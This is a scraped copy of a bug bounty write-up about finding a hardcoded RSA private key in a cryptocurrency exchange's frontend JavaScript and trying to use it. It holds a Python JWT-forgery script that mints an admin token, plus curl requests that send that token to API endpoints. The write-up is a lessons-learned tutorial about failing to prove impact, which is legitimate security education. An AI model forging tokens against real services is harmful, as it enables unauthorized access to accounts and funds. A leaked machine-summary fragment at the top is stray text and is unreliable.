How I Found a Hardcoded RSA Private Key in a Major Crypto Exchange’s Frontend
好的,我需要帮用户总结这篇文章的内容,控制在100字以内。首先,我得通读文章,理解主要情节和教训。 文章讲述了一位安全研究人员在参与一个加密货币交易平台的漏洞赏金计划时的经历。他通过被动JavaScript侦察发现了一个硬编码的RSA私钥。尽管成功伪造了JWT令牌,但由于未能找到有效的API端点,最终报告被拒绝。 接下来,我需要提取关键点:发现了私钥、尝试伪造令牌、未能验证真实影响、报告被拒以及从中吸取的教训。 然后,我要将这些要点浓缩成简洁的描述,确保在100字以内,并且直接描述内容,不需要使用特定的开头语。 最后,检查语言是否流畅自然,确保信息准确传达。 </think> 一位安全研究人员在参与加密货币交易平台的漏洞赏金计划时,通过JavaScript侦察发现了一个硬编码的RSA私钥,并成功伪造了JWT令牌。然而,由于未能找到有效API端点和验证实际影响,报告被拒绝。该经历强调了验证真实影响、保持报告简洁以及从失败中学习的重要性。 2026-3-22 05:14:17 Author: infosecwriteups.com(查看原文) 阅读量:12 收藏

Hacker MD

Press enter or click to view image in full size

A Bug Bounty Story About Recon, Excitement, and Harsh Reality

It started like any other Saturday morning. Coffee in hand, terminal open, and a fresh bug bounty target loaded up. What followed was one of the most educational experiences of my security research career — not because I earned a massive bounty, but because I didn’t.

This is that story.

The Target

I was hunting on a major cryptocurrency trading platform’s bug bounty program. The scope was broad — *.target.com, iOS app, Android app — and the rewards were listed as Critical bounty for serious findings. The in-scope vulnerability list included the good stuff: SSRF, Business Logic, RCE, Access Control issues, Sensitive Information Disclosure.

I decided to start with what I call passive JavaScript recon — one of the most underrated techniques in web bug bounty.

Phase 1: JavaScript Recon (Where the Gold Hides)

Most hunters jump straight to fuzzing endpoints or running automated scanners. I’ve learned that the real treasure is often hiding in plain sight — inside the frontend JavaScript bundles that ship directly to your browser.

# Download the main app bundle
curl -s https://static.target.com/web-frontend/client/app.xxxxx.js -o app.js
# Search for interesting keywords
grep -iE 'private_key|secret|password|api_key|token' app.js

And then it happened.

TRACK_PRIVATE_KEY: "MIICdQIBADANBgkqhkiG9w0BAQEFAA..."

My coffee went cold. I was looking at what appeared to be a complete RSA private key hardcoded inside a production JavaScript file — publicly accessible to anyone who visited the website.

My heart was racing.

Phase 2: Validation — Is This Real?

First rule of bug bounty: don’t get excited until you validate. I extracted the key and ran it through OpenSSL immediately.

# Save and validate the key
cat > extracted.key << 'EOF'
-----BEGIN RSA PRIVATE KEY-----
MIICdQIBADANBgkqhkiG9w0BAQEFAASCAl8wggJbAgEAAoGBAIk9VvZx...
-----END RSA PRIVATE KEY-----
EOF
openssl rsa -in extracted.key -check -noout

Output:

RSA key ok

Then I checked the key specifications:

openssl rsa -in extracted.key -text -noout
Private-Key: (1024 bit, 2 primes)
modulus: 00:89:3d:56:f6:71:af...
publicExponent: 65537 (0x10001)

Confirmed. A real, valid, 1024-bit RSA private key. Sitting in a public JavaScript file. In production.

At this point, most hunters would immediately report “exposed private key.” I decided to go further.

Phase 3: Can I Forge JWT Tokens With This?

The key was named TRACK_PRIVATE_KEY in the config object alongside other interesting variables:

{
baseHost: "https://api.target.com",
domain_env: "production",
TRACK_PRIVATE_KEY: "MIICdQIBADA...",
baseMainUrl: "http://internal-gateway.default.svc.cluster.local",
SENTRY_DSN: "https://[email protected]/3"
}

Wait — baseMainUrl pointing to an internal Kubernetes cluster address? That's a whole separate finding. But the private key was the crown jewel.

I wrote a Python script to attempt JWT forgery:

import jwt
import time
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

PRIVATE_KEY_STR = """-----BEGIN RSA PRIVATE KEY-----
MIICdQIBADA...
-----END RSA PRIVATE KEY-----"""
PRIVATE_KEY = serialization.load_pem_private_key(
PRIVATE_KEY_STR.encode(),
password=None,
backend=default_backend()
)
# Extract public key for verification
PUBLIC_KEY = PRIVATE_KEY.public_key().public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
# Forge an admin JWT
payload = {
"user_id": 1,
"email": "[email protected]",
"role": "admin",
"permissions": ["*"],
"iat": int(time.time()),
"exp": int(time.time()) + 86400,
}
admin_token = jwt.encode(payload, PRIVATE_KEY, algorithm="RS256")
print(f"[+] Admin Token: {admin_token}")
# Self-verify with extracted public key
decoded = jwt.decode(admin_token, PUBLIC_KEY, algorithms=["RS256"])
print(f"[+] Verified: {decoded}")

Output:

[+] Admin Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Verified: {
"user_id": 1,
"email": "[email protected]",
"role": "admin",
"permissions": ["*"],
...
}

The JWT was cryptographically valid. I had successfully forged an admin token using their own private key.

This is the moment I made my first mistake.

Phase 4: Where I Went Wrong

I was so excited that I skipped the most critical step: finding real API endpoints before testing.

I guessed endpoints:

ADMIN_TOKEN="eyJhbGciOiJSUzI1NiI..."

curl -s -H "Authorization: Bearer ${ADMIN_TOKEN}" \
https://api.target.com/v1/admin/users
# Response:
# {"code": -35, "msg": "route not found", "success": false}
curl -s -H "Authorization: Bearer ${ADMIN_TOKEN}" \
https://api.target.com/v1/wallet/balance
# Response:
# {"code": -35, "msg": "route not found", "success": false}

Every. Single. Endpoint. Route not found.

But here’s the critical error I made: I saw HTTP 200 on every response and told myself “the API accepted my forged token!”

It did not.

HTTP 200 + “route not found” = The path doesn’t exist.
HTTP 200 + Real data = The token was accepted and processed.

These are fundamentally different things, and I confused them.

Phase 5: The Report — Another Mistake

I wrote a detailed, structured bug report. Very detailed. Perfectly formatted. Every CVSS score, every CWE reference, every exploitation scenario.

Get Hacker MD’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

I submitted it. The program initially said:

“The Private Key is not used for user authentication; it is simply a key used by our logging platform to verify the validity of log entries.”

I pushed back. I escalated to the bug bounty platform. Their response:

“Your report was marked as N/A because it’s fully AI generated which is prohibited by rules. All reports this big without any reasons are not valid. Plus you didn’t provide any valid evidence showing breaking of CIA triad. All impact is theoretical, all recommendations lay under best practices.”

That stung. But they were right.

The Post-Mortem: What Actually Happened

Let me break down what I got wrong:

Mistake #1: Guessing Endpoints Instead of Discovering Them

 What I did:
Guessed: /v1/admin/users → route not found
Guessed: /v1/wallet/balance → route not found
Guessed: /v1/spot/orders → route not found

What I should have done:
1. Open website in browser
2. DevTools → Network tab → Filter XHR
3. Login, trade, deposit
4. Capture ACTUAL API calls:
POST /spot/v1/submit_order
GET /account/v1/wallet/detail
GET /contract/private/assets-detail
5. Test forged tokens on THOSE endpoints

Mistake #2: Misreading HTTP Responses

HTTP 200 + {"msg": "route not found"} 
= Server is running, but this path doesn't exist
≠ Token accepted

HTTP 200 + {"user_id": 1, "email": "...", "balance": ...}
= Token processed AND accepted
= Real exploitation

Mistake #3: Reporting Theory, Not Proof

Bug bounty programs don’t want potential impact. They want demonstrated impact:

 "An attacker COULD forge admin tokens"
"This MIGHT allow fund theft"
"Potentially leads to account takeover"

[Screenshot: Admin panel accessed with forged token]
[Screenshot: Wallet balance of user X visible]
[Video: End-to-end exploit in 2 minutes]

Mistake #4: Over-Engineering the Report

My report was thousands of words. CVSS matrices, exploitation chains, regulatory implications, remediation roadmaps.

Bug bounty triagers want:

  • 500 words max
  • Steps to reproduce (numbered)
  • Screenshots showing actual exploitation
  • One-line impact statement

Not a PhD thesis.

What This Finding Actually Was

After the dust settled, here’s my honest assessment:

The private key was a real security concern — but for a different reason than I thought. It was used for signing tracking/logging tokens, not authentication tokens. The company confirmed this, and my testing confirmed it too (no working endpoints, no real API access).

What it was:

  • CWE-798: Use of Hard-Coded Credentials
  • Informational → Low severity
  • Best practice violation (private keys don’t belong in client-side code)
  • Key should be rotated since it’s now public knowledge

What it wasn’t:

  • Authentication bypass
  • Account takeover vector
  • Fund theft enabler

The company was telling the truth. I just didn’t believe them — and wasted time arguing instead of testing properly.

The Real Lessons

1. Always Capture Real Traffic Before Testing

Never guess API endpoints. Open the website, perform real actions, intercept actual traffic. Then test your payload on paths you know exist.

# Use mitmproxy for traffic capture
mitmproxy -p 8080

# Or Burp Suite
# Configure browser proxy → Perform actions → Check intercept

2. Understand What “HTTP 200” Actually Means

200 + real data   → Successful exploitation
200 + error msg → Route exists, something failed
200 + not found → Route doesn't exist (unusual but happens)
401 → Route exists, token rejected
403 → Route exists, insufficient permissions
404 → Route doesn't exist (standard)

3. Prove Impact First, Report Second

Before submitting anything, ask yourself: “Can I show a screenshot of this working?” If the answer is no, don’t submit.

4. Keep Reports Human and Concise

Write like you’re explaining to a friend who’s a developer, not writing a security textbook. Short, clear, with screenshots.

5. Accept Correct Rejections Gracefully

Sometimes programs are right when they say N/A. Accept it, learn from it, and move on.

The Uncomfortable Truth About Bug Bounty

Not every finding leads to a bounty. Not every private key is exploitable. Not every HTTP 200 means success.

The best bug bounty hunters I know share one trait: they prove everything before reporting anything. They capture real traffic. They demonstrate actual data access. They send a 10-line report with 3 screenshots instead of a 3000-word essay with zero proof.

I learned more from this rejected report than from any bounty I’ve received.

Final Checklist Before You Ever Report Again

Before submitting any bug:

□ Captured real API traffic (not guesses)
□ Tested on actual working endpoints
□ Got real data back (not error messages)
□ Screenshot proof captured
□ CIA triad impact demonstrated:
Confidentiality → Data accessed
Integrity → Data modified
Availability → Service disrupted
□ Report is under 1000 words
□ Steps are reproducible by anyone
□ Impact is shown, not theorized

If you can’t check all these boxes — keep testing.

Conclusion

Finding a hardcoded private key in production JavaScript is exciting. Validating it with OpenSSL, successfully forging JWT tokens, decoding them perfectly — it feels like a critical finding.

But bug bounty is about demonstrated impact, not theoretical potential.

The endpoint has to exist. The token has to be accepted. The data has to come back. The screenshot has to show the exploitation.

Without that chain of proof, you have an interesting technical observation — not a bounty-worthy vulnerability.

This experience taught me to be more methodical, more patient, and more skeptical of my own excitement. The next time I find something that makes my heart race, I’ll take a breath, find the real endpoints, test them properly, and only then pick up the pen to write a report.

That’s how elite hunters operate.

Thanks for reading. If you’ve had similar experiences — findings that taught you more through rejection than acceptance — I’d love to hear your story in the comments.

Follow me for more bug bounty writeups, methodology deep-dives, and the occasional humbling failure that turned into a valuable lesson.

#Cryptography #PenetrationTesting #WebSecurity #JWT #BugBounty #SecurityResearch


文章来源: https://infosecwriteups.com/how-i-found-a-hardcoded-rsa-private-key-in-a-major-crypto-exchanges-frontend-dd27b6a78fb2?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh